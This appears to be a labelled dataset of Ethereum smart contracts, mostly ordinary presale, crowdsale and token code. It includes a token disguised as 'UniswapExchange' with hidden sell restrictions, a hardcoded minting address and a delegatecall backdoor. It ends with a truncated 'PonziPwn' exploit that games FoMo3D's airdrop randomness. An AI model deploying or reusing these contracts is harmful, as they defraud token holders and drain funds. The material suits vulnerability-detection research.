function chargeOwe(bytes32 secretKey_D_hash) public {
require(!TicketPool[secretKey_D_hash].isPay);
require(TicketPool[secretKey_D_hash].isPlay);
require(TicketPool[secretKey_D_hash].Result != 0);
if(address(this).balance >= TicketPool[secretKey_D_hash].Result){
if (TicketPool[secretKey_D_hash].Buyer.send(TicketPool[secretKey_D_hash].Result)) {
TicketPool[secretKey_D_hash].isPay = true;
OwePay(secretKey_D_hash, TicketPool[secretKey_D_hash].Buyer, TicketPool[secretKey_D_hash].Result);
}
}
}
} | 0 | 549 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
}
contract Whitelist is Ownable, RBAC {
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyWhitelisted() {
checkRole(msg.sender, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address addr)
onlyOwner
public
{
addRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressAdded(addr);
}
function whitelist(address addr)
public
view
returns (bool)
{
return hasRole(addr, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
addAddressToWhitelist(addrs[i]);
}
}
function removeAddressFromWhitelist(address addr)
onlyOwner
public
{
removeRole(addr, ROLE_WHITELISTED);
emit WhitelistedAddressRemoved(addr);
}
function removeAddressesFromWhitelist(address[] addrs)
onlyOwner
public
{
for (uint256 i = 0; i < addrs.length; i++) {
removeAddressFromWhitelist(addrs[i]);
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract PreSaleI is Whitelist {
using SafeMath for uint256;
uint256 public exchangeRate;
uint256 public minValue;
uint256 public maxTotal;
uint256 public maxPerAddress;
uint256 public startTimestamp;
uint256 public endTimestamp;
bool public enabled;
address public wallet;
ERC20 public token;
uint256 public accumulatedAmount = 0;
uint256 public accumulatedAmountExternal = 0;
mapping (address => uint256) public buyAmounts;
address[] public addresses;
constructor(ERC20 _token, address _wallet, uint256 _exchangeRate, uint256 _minValue, uint256 _maxTotal, uint256 _maxPerAddress, uint256 _startTimestamp, uint256 _endTimestamp) public {
require(_token != address(0));
require(_wallet != address(0));
token = _token;
wallet = _wallet;
exchangeRate = _exchangeRate;
minValue = _minValue;
maxTotal = _maxTotal;
maxPerAddress = _maxPerAddress;
startTimestamp = _startTimestamp;
endTimestamp = _endTimestamp;
enabled = false;
}
function toggleEnabled() public onlyOwner {
enabled = !enabled;
emit ToggleEnabled(enabled);
}
event ToggleEnabled(bool _enabled);
function updateExternalAmount(uint256 _amount) public onlyOwner {
accumulatedAmountExternal = _amount;
emit UpdateTotalAmount(accumulatedAmount.add(accumulatedAmountExternal));
}
event UpdateTotalAmount(uint256 _totalAmount);
function () external payable {
if (msg.sender != wallet) {
buyTokens();
}
}
function buyTokens() public payable onlyWhitelisted {
require(enabled);
require(block.timestamp >= startTimestamp && block.timestamp <= endTimestamp);
require(msg.value >= minValue);
require(buyAmounts[msg.sender] < maxPerAddress);
require(accumulatedAmount.add(accumulatedAmountExternal) < maxTotal);
uint256 buyAmount;
uint256 refundAmount;
(buyAmount, refundAmount) = _calculateAmounts(msg.sender, msg.value);
if (buyAmounts[msg.sender] == 0) {
addresses.push(msg.sender);
}
accumulatedAmount = accumulatedAmount.add(buyAmount);
buyAmounts[msg.sender] = buyAmounts[msg.sender].add(buyAmount);
msg.sender.transfer(refundAmount);
emit BuyTokens(msg.sender, buyAmount, refundAmount, buyAmount.mul(exchangeRate));
}
event BuyTokens(address indexed _addr, uint256 _buyAmount, uint256 _refundAmount, uint256 _tokenAmount);
function deliver(address _addr) public onlyOwner {
require(_isEndCollect());
uint256 amount = buyAmounts[_addr];
require(amount > 0);
uint256 tokenAmount = amount.mul(exchangeRate);
buyAmounts[_addr] = 0;
token.transfer(_addr, tokenAmount);
emit Deliver(_addr, tokenAmount);
}
event Deliver(address indexed _addr, uint256 _tokenAmount);
function refund(address _addr) public onlyOwner {
require(_isEndCollect());
uint256 amount = buyAmounts[_addr];
require(amount > 0);
buyAmounts[_addr] = 0;
_addr.transfer(amount);
accumulatedAmount = accumulatedAmount.sub(amount);
emit Refund(_addr, amount);
}
event Refund(address indexed _addr, uint256 _buyAmount);
function withdrawEth() public onlyOwner {
wallet.transfer(address(this).balance);
emit WithdrawEth(wallet, address(this).balance);
}
event WithdrawEth(address indexed _addr, uint256 _etherAmount);
function terminate() public onlyOwner {
require(getNotDelivered() == address(0));
token.transfer(wallet, token.balanceOf(address(this)));
wallet.transfer(address(this).balance);
emit Terminate(wallet, token.balanceOf(address(this)), address(this).balance);
}
event Terminate(address indexed _addr, uint256 _tokenAmount, uint256 _etherAmount);
function getNotDelivered() public view returns (address) {
for(uint256 i = 0; i < addresses.length; i++) {
if (buyAmounts[addresses[i]] != 0) {
return addresses[i];
}
}
return address(0);
}
function _calculateAmounts(address _buyAddress, uint256 _buyAmount) private view returns (uint256, uint256) {
uint256 buyLimit1 = maxTotal.sub(accumulatedAmount.add(accumulatedAmountExternal));
uint256 buyLimit2 = maxPerAddress.sub(buyAmounts[_buyAddress]);
uint256 buyLimit = buyLimit1 > buyLimit2 ? buyLimit2 : buyLimit1;
uint256 buyAmount = _buyAmount > buyLimit ? buyLimit : _buyAmount;
uint256 refundAmount = _buyAmount.sub(buyAmount);
return (buyAmount, refundAmount);
}
function _isEndCollect() private view returns (bool) {
return !enabled && block.timestamp> endTimestamp;
}
} | 0 | 557 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundEscrow private escrow;
constructor(uint256 _goal) public {
require(_goal > 0);
escrow = new RefundEscrow(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
escrow.withdraw(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
escrow.close();
escrow.beneficiaryWithdraw();
} else {
escrow.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
escrow.deposit.value(msg.value)(msg.sender);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract TezaCrowdsale is CappedCrowdsale, RefundableCrowdsale, AllowanceCrowdsale {
mapping (address => uint256) public referrers;
uint internal constant REFERRER_PERCENT = 10;
modifier whenNotPaused() {
require((block.timestamp >= openingTime && block.timestamp <= openingTime + (40 days)) || (block.timestamp >= openingTime + (80 days) && block.timestamp < closingTime));
_;
}
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
StandardBurnableToken _token,
uint256 _goal
)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
AllowanceCrowdsale(_wallet)
{
require(_goal <= _cap);
require(_rate > 0);
}
function bytesToAddres(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
whenNotPaused
{
super._preValidatePurchase(_beneficiary, _weiAmount);
if(block.timestamp <= openingTime + (18 days)) {
rate = 2000;
}else if(block.timestamp > openingTime + (18 days) && block.timestamp <= openingTime + (37 days)) {
rate = weiRaised <= 4000000000000000000000000 ? 1428 : 1250;
}else if(block.timestamp >= openingTime + (77 days) && block.timestamp <= openingTime + (108 days)) {
rate = weiRaised >= 50000000000000000000000000 ? 1000 : 1111;
}else{
rate = 2000;
}
}
function referrerBonus(address _referrer) public view returns (uint256) {
require(goalReached());
return referrers[_referrer];
}
function _forwardFunds() internal
{
if(msg.data.length == 20) {
address referrerAddress = bytesToAddres(bytes(msg.data));
require(referrerAddress != address(token) && referrerAddress != msg.sender);
uint256 referrerAmount = msg.value.mul(REFERRER_PERCENT).div(100);
referrers[referrerAddress] = referrers[referrerAddress].add(referrerAmount);
}
}
} | 0 | 1,829 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,016 |
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
contract BlankContract {
constructor() public {}
}
contract AirDropWinner {
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
constructor() public {
if(!address(fomo3d).call.value(0.1 ether)()) {
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
}
contract PonziPwn {
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
address private admin;
uint256 private blankContractGasLimit = 20000;
uint256 private pwnContractGasLimit = 250000;
uint256 private gasPrice = 10;
uint256 private gasPriceInWei = gasPrice*1e9;
uint256 private blankContractCost = blankContractGasLimit*gasPrice ;
uint256 private pwnContractCost = pwnContractGasLimit*gasPrice;
uint256 private maxAmount = 10 ether;
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor() public {
admin = msg.sender;
}
function checkPwnData() private returns(uint256,uint256,address) {
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), 0x01)));
uint256 _nContracts = 0;
uint256 _pwnCost = 0;
uint256 _seed = 0;
uint256 _tracker = fomo3d.airDropTracker_();
bool _canWin = false;
while(!_canWin) {
_seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) +
(block.number)
)));
if((_seed - ((_seed / 1000) * 1000)) >= _tracker) {
_newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, _newSender, 0x01)));
_nContracts++;
_pwnCost+= blankContractCost;
} else {
_canWin = true;
_pwnCost += pwnContractCost;
}
}
return (_pwnCost,_nContracts,_newSender);
}
function deployContracts(uint256 _nContracts,address _newSender) private {
for(uint256 _i; _i < _nContracts; _i++) {
if(_i++ == _nContracts) {
address(_newSender).call.value(0.1 ether)();
new AirDropWinner();
}
new BlankContract();
}
}
function beginPwn() public onlyAdmin() {
uint256 _pwnCost;
uint256 _nContracts;
address _newSender;
(_pwnCost, _nContracts,_newSender) = checkPwnData();
if(_pwnCost + 0.1 ether < maxAmount) {
